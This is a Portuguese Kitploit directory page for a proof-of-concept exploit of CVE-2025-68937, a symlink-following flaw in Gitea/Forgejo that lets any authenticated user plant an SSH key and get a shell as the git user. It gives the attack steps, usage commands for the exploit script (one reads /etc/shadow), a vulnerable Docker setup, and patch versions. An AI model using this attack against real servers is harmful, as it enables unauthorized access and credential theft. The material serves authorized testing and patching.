Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
Ferramentas/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

Ver Repositório
há 19 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-68937 - RCE via Symlink em Modelos do Gitea/Forgejo

Prova de conceito automatizada para CVE-2025-68937: travessia de diretório via resolução de symlink no processamento de repositórios de modelo do Gitea e do Forgejo, resultando em execução remota de código.

Qualquer usuário autenticado (sem necessidade de administrador) pode obter um shell como o usuário de serviço git.

Vulnerabilidade

Ao gerar um novo repositório a partir de um modelo, o Gitea/Forgejo copia os arquivos do modelo e expande variáveis como ${REPO_DESCRIPTION} nos arquivos listados em .gitea/template. Esse processo segue links simbólicos sem validação, permitindo que um atacante leia e grave arquivos arbitrários no servidor.

DetalheValor
CVECVE-2025-68937
CVSS 4.09.5 Crítico
CWECWE-61 (UNIX Symbolic Link Following)
Autenticação NecessáriaSim (qualquer usuário)
Administrador NecessárioNão

Versões Afetadas

SoftwareAfetadasCorrigidas
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

Como Funciona

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. Registre uma chave SSH envenenada no Gitea — o comentário da chave contém ${REPO_DESCRIPTION}, uma variável de modelo que o Gitea expande
  2. Crie um repositório de modelo contendo:
    • .gitea/template listando authorized_keys para expansão de variáveis
    • Um symlink git authorized_keys apontando para o arquivo authorized_keys real do usuário git
  3. Gere um repositório filho a partir do modelo com a chave pública SSH irrestrita do atacante no campo de descrição
  4. A expansão do modelo segue o symlink, lê o arquivo authorized_keys real (que contém nossa chave registrada com ${REPO_DESCRIPTION} no comentário), expande a variável para a descrição do filho (nossa chave SSH) e grava o resultado de volta através do symlink
  5. Conecte-se via SSH como git com a chave injetada (sem restrição command=)

Uso

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

Opções

Ambiente de Teste

Inicie uma instância vulnerável:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. Abra http://localhost:3000, conclua o assistente de instalação (o SQLite funciona perfeitamente)
  2. Registre uma conta de usuário
  3. Execute:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

Requisitos

  • Python 3.8+
  • requests
  • git e ssh-keygen no PATH

Correção

  • Gitea: atualize para 1.24.7 ou posterior
  • Forgejo: atualize para 11.0.7 (LTS) ou 13.0.2+

Referências

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • Análise da Correção de Segurança do Gitea (PR #36734 & #36746)
  • Notas de lançamento do Gitea 1.24.7

Aviso Legal

Esta ferramenta é exclusivamente para testes de segurança autorizados e fins educacionais. Utilize apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido.

Baixar ferramenta
FlagPadrãoDescrição
-u, --urlobrigatórioURL base do Gitea/Forgejo
-U, --userobrigatórioNome de usuário
-P, --passwordobrigatórioSenha
--git-home/data/gitDiretório home do usuário git no alvo
--ssh-hostde --urlHost SSH ao qual conectar
--ssh-port22Porta SSH do Gitea
--timeout30Segundos de espera pelo SSH
--commandinterativoComando a executar após o shell
--cleanup-Remove artefatos do exploit